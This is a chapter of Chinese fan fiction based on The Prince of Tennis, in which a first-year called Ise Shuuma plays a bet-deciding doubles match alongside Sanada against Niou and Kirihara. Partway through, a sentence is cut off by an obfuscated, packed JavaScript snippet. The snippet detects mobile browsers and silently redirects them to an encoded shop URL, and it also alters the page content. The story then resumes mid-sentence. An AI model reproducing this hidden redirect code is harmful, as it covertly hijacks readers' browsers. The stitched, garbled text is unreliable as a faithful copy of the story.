仁王雅治几乎在他话音刚落就提议：“不如这样，跟我打一场，能从我手中拿下一局就算你赢，怎么样？” 伊势柊真想说不怎么样，对上切原赤也激动的大眼睛也不好一口回绝。 他叹了口气点头：“可以。” 在仁王雅治露出笑容前，他也不给这个狐狸似的狡猾前辈钻空子的余地：“但请先说明赌约的具体内容，我赢还是输，加入网球部。” “puri~” 仁王雅治挑眉，看了眼旁边疯狂挤眉弄眼，暗示“前辈您肯定不是柊真对手”的海带头。 虽然刚才观察倒这个一年级体测成绩很一般，身上也没半点肌肉的样子，但速度和靠近真田弦一郎后的表现…… 他看了看从刚才起就一直用看似不善，实际充满战意的目光盯着少年的真田弦一郎，和他垂落在身侧，紧握成拳的手。 “你赢。” 仁王雅治摸摸下巴，轻飘飘地抛出一句，“不过比赛的对手嘛……” 真田弦一郎握住他的肩膀，将人拨至一旁：“是我。” “我是真田弦一郎，报上你的名字。” “伊势柊真。” “等等，是我先来的。” “既然那么多人都想和伊势同学比赛……” 仁王雅治伸手捞过队里的海带头，看向皱眉的真田弦一郎和保持礼貌微笑的年轻后辈，主意打的明晃晃：“不如我们来打双吧？我和赤也一队。” “就比副部长和你之间，谁能拿下更多分。” 压下嚷嚷着要和伊势柊真组队的二年级，诈欺师恰到好处地挑衅一扬眉。 “怎么样？” 真田弦一郎不知道他打的什么主意，但在收到视线暗示后，还是率先答应下来：“好。” 伊势柊真没想到拒绝的理由，也点了下头。 11.第11章 几人带上网球包去到室内球场。 立海大是闻名全国的网球强校，已蝉联十五届关东地区冠军，两届全国大赛冠军。 不缺殊荣的他们自然也不缺经费。 专用球馆装修的格外气派，还引进了职业选手都在用的发球机，发球速度可达200多公里/小时。 外头哗哗泼着雨，乌云将天空压成夜晚的样子，室内打起一排大功率的led灯，不用担心采光。 拍头贴在地面，投下不同的几道阴影。 “一盘定胜负。” 仁王雅治将自己的拍子竖在地上问：“要哪边？” 伊势柊真看向真田弦一郎：“前辈，你决定就可以。” 真田弦一郎没有跟他推辞，而后两边在转拍子猜正反后，分别选了先后手和场地。 好歹是双打比赛，两个才认识不到十分钟的人，在比赛开始前如论如何也要先交流一下。 算不上战术安排，只是伊势柊真有事一定要先向接下来的队友交底，他谦逊地向前辈请教：“比起单打，双打有什么要注意的吗？” 黑帽少年面色一沉，听出了他的言外之意。 “你没打过双打？” “打过吧……” “吧？” 自我要求极高的真田弦一郎最讨厌这种松懈的态度，才放晴的脸又染阴云。 “有点记不清了。” 这种一板一眼的人最是好懂，伊势柊真立即表明自己态度是端正的，避免跟队友起冲突。也因为对方是切原赤也网球部里的前辈，他自然不能跟对方把关系搞僵。 他有些不好意思地低下头：“是这样的，我之前几乎只和赤也打网球，请不要介意。” 真田弦一郎闻言，眉心的痕迹果然松动。 见面前少年略显拘谨地站着，柔润温暖质感的碎发耷在眉眼前，一副有些被他吓到的样子，真田弦一郎反而不自在起来。 不知道是因为不常做而稍显笨拙地调节气氛，还是真好奇，他多问了一句：“你的网球球龄是多少？” 伊势柊真看向一网之隔，正坐在地上大大咧咧给球拍缠吸汗带的发小。 “六、七年了。” 他是和赤也一起在学前班就接触到的网球，不过这孩子真的把网球当成自己的理想，要再往后顺几年。 毕竟低年级时短胳膊短腿，从边线这头，跑到边线那头都要好一会，是完全没有竞技体验的。 比起三四岁就开始接触网球，年仅十五岁就拥有十多年球龄的真田弦一郎，是要打对折。 但相较很多选手，起步已经足够早了。 真田弦一郎脸色又微微板起来，显然是觉得伊势柊真打了那么多年网球连双打规则都不知道实在是太松懈了。 但每个人追求不同，他此刻也没有说教对方的立场。 最后看着面前“态度良好”的一年级，闷闷地：“嗯”，了一声。 抢先爬上裁判位的丸井文太是个双打好手。 听到他们两个刚才的对话，他脑子动的飞快，嘴皮子也很利索，迅速给下头的双打新手总结了一遍注意事项。 主要是接发球、发球、网前准备的站位问题。 除了边线扩大成双打边线，其他规则和单打没差。 丸井文太说着好奇地矮下身子，打量这位备受瞩目的新人：“你口罩戴着不闷吗？一会运动起来，氧气获取效率也会大打折扣的。” 伊势柊真摇了一下头，站到底线后。 希望能尽快结束，好让他赶上完成剩下的体测。 见他没有摘下来的意思，丸井文太抬高手宣布： “真田弦一郎、伊势柊真VS仁王雅治、切原赤也。” “比赛开始！” - 第一局由切原赤也先发球，不同于其他人发球前往地上弹几下熟悉手感，他的赛前仪式是蹂躏他手里的那颗小球。 嘎巴嘎巴捏了几下，也不一定能让球变得更听话。 反而这一特技连他也无法掌握弹起方向：“要来了哦，柊真——” “一上来就用指节发球？” 场外旁观的几个三年级正选，不由看向站在底线后，在另外几人对比下，显得身形尤其瘦小的男孩。 是的。 严格来说十二岁还没脱离孩子的范围。 胡狼桑原有些担忧：“那个孩子没问题吧？” “目前他接下指节发球的成功率是87.9%。”消息格外灵通的柳莲二不知何时出现在他身后，上述数据来自他观战二人放学后在网球俱乐部的表现。 “哎？” 这成功率不低了，毕竟赤也这招网球弹起的角度实在很刁钻，网球部里也就三巨头能百分之一百回击。 只见被蹂躏的格外暴躁的小球，在接触球拍的一瞬间就飞速窜出去，砸在地面留下一道黑印。 切原赤也的球拍拍线调的很硬，越硬的拍子弹力越大，从那些交错的小格子的凹陷程度，就肉眼可见这一球他没有留手。 比球速更惊人的，是网球弹起的那个近乎90°直角。 明亮的小球几乎直冲伊势柊真下巴而去，而他似乎完全错过了少年刚才的提醒，连球路都没看清。 胡狼桑原倒吸气，“当心”的提醒卡在喉咙里来不及喊出。 眼看就要被丝毫不逊色一记下勾拳的力道打飞出去，那少年却在最后关头动了。 不是幅度很大的侧头，恰好够出他用球拍拦一下的距离。 丸井文太紧张的握住裁判椅：“嘶，挡住了！” 但只是紧要关头防止自己受伤，根本来不及管球会飞到哪吧？ 众人视线紧追上那颗小球，切原赤也基于网球的速度足够大，这一下哪怕不挥拍也足够它弹飞过网。 小球滴溜溜划过一道抛物线，落点在场内。 仁王雅治跨步上前，接下这球送回去。 感受一下适才这球的触感，他嘴角轻扬，露出一个浅笑。 ‘这个新人果然有两下子。’ 刚才绝对不是凑巧，是伊势柊真计算好了角度和时机，因为不知道球会飞到哪边，索性等它弹起来后再行动。 没有不俗的动态视力可做不到这样游刃有余。 … 转眼间已经来回交锋过几波。 仁王雅治的网球一直很鸡贼的直往中间那条线打，想看对面两人因为抢球打起来的有趣场面。 但很可惜，伊势柊真和真田弦一郎的这对搭档组合，在初见剑拔弩张的误会解除后，俨然是提携训练新生的好前辈，和尊敬长者的好后辈。称得上相敬如宾。 面对打到打中线上的网球，两人默契地谁正手谁接。 一般来说的确应该是这样的。 双打更多考验的是双方的默契程度，在熟悉彼此的球场上就不一定适用了。 似乎是为了配合伊势柊真这个双打新手，真田弦一郎几乎不会往对方那半边球场跑。而伊势柊真也礼让地不去冒犯前辈。 仁王雅治奔跑追球，分心腹诽自己想看的可不是这个场面：“……” 当前比分1：2，是他和赤也落后。 关于那场赌局的分数，则是真田副部长7：1遥遥领先。 “喂，再这样下去你要输了哦。” 对自己的输赢似乎并不在乎，仁王雅治向伊势柊真喊话。 见那少年只是往上拉了拉口罩，看过来的眼中似有无语，他嘴角抽动，认识到对方不是一般的难搞，只得继续拱火。 “这根本不是你的真实水平吧，输掉也没有关系吗？” - 场外解说组。 “……” “这种赌局方式，也只有仁王君想得出来了。”柳生比吕氏扶额说。 胡狼桑原深以为然：“要和对面打，还要和队友抢分。” 只是现在场上战况意外的和谐，伊势柊真比仁王雅治更没有对胜利的渴望，似乎顾及真田弦一郎前辈的身份，避其锋芒，只从旁打辅助。 但耐不住有人比他更想让他赢…… “啊啊──伊势柊真！” “我给你带来指节发球了！” “赤也这家伙啊……” 裁判丸井君已经没眼看地捂住了双眼。 刚才切原赤也多少还会遮掩一下，眼下仁王雅治的挑衅没让伊势柊真做出反应，先坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16845952|189276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不住的是这小子。 非常想让发小赢过副部长加入网球部的切原赤也，开始顶着巨大压力给他送分，美其名曰：“打不过副部长，盯着伊势打”。 “伊势、真田获胜。” “Three games to one！” 于是仁王雅治发现自己莫名其妙坠入了3打1的不妙境地：“……” - 伊势柊真的身体素质与过往已不可同日而语。 别说十二岁的他了，就是锤炼成一名合格剑士的他，如果遇到自己这只鬼，胜算也是寥寥无几。 他本想差不多得了。 但对手和队友的实力都有点超乎他的想象，那个叫仁王雅治的白发少年，实力丝毫不逊色于切原赤也。 再遇海带头时，对方的进步、或者说进化，就叫他吃了一惊。 这个对方暗地里谋划篡位，实际无比崇拜的副部长，带给他的惊喜更大。 伊势柊真看向对面场地上留下的凹陷球印，真田弦一郎认真对待这场因赌约而起的比赛，显然忍不了切原赤也吊儿郎当的态度，刚才直接一球把他的拍子给打飞了出去。 他清楚看到赤也那张材质上佳的球拍，拍线都绷断了几根。 “……” 竟能打出这种力量的网球，是用了呼吸法相似的训练方式吗？ 伊势柊真看向网前背对自己的黑帽男，站上球场开始，第一次认真陷入了思考。 他在想那球的力量究竟是怎样的。 莫名有种冲动，想要接下对方的网球试试…… 可他们此刻站在同一边的球场上，直接拦在网前显然不太好。 故事的开始往往始于一点微末的好奇心。 或许一开始，人们都没想过它会让你踏上一条怎样意料之外的道路，又会走出多远。 “你在看不起谁，拿出全部实力来！” 伊势柊真见真田弦一郎训斥完对面蔫巴巴的海带头，在交换场地时向自己走来，缓慢眨了下眼。 嗯…… 对方都这样说了，他再继续划水，就实在有点不知好歹了。 - 在真田弦一郎发力后，当前比分已经来到4：1。 总计16分里，伊势柊真只拿到了大头是切原赤也上把送的4分。 就算他接下来抢下所有球，有一说一这可能性实在很小，也至多能和状态弦一郎打成平手。 切原赤也数学不太好，但掰着手指头也算出来了。 他跟仁王雅治对视一眼，不用对方提醒也知道他们不能再丢分了，伊势柊真现在要想赢下赌约，就只有打到抢七决胜局。 这不是伊势柊真一个人的战斗！ 见切原赤也点燃斗志，直视前方准备发球的少年。 仁王雅治愉悦挑眉，留意到对面那个那沉静如一汪水的少年，在真田弦一郎使得球拍脱手的一球后，静站了一会，而后身上的气场隐约发生了变化。 pupina… 果然。 就算再满不在乎，在见识到强者的实力后，也很难不升起好胜心。 如果对方方才在此之后毫无情绪波动，也不准备为了获胜而竭尽全力，那就证明对方并不适合他们网球部，是参谋大人看走眼，没有邀请对方加入的必要。 那么他也该认真起来了。 眼下要想配合那少年，尽可能拿下更多分数，就只有── 底线后准备好接发的白发小辫子身形出现了片刻扭曲般，在原地闪现成了全然不同的另一个样子。 “就算现在幻影成幸村的样子，也已经没用了。”网前的真田弦一郎沉声说道。 他话音未落，先听到一声网球坠地的啪嗒。 真田弦一郎愣了下，回过头，只见那个一年级一手维持抛球的姿势，口罩挡住大半表情，但那双眼睁大的眼就足够传达出所受震撼。 他困惑地半侧过头，眼睛仍死盯对面的“陌生蓝紫发少年”，抬手遥指。 “……？” “一发失误……” 丸井文太提醒这才看出点孩子样的后辈：“哈哈哈吓到了吗，这是仁王幻影成了其他人的模样啦！”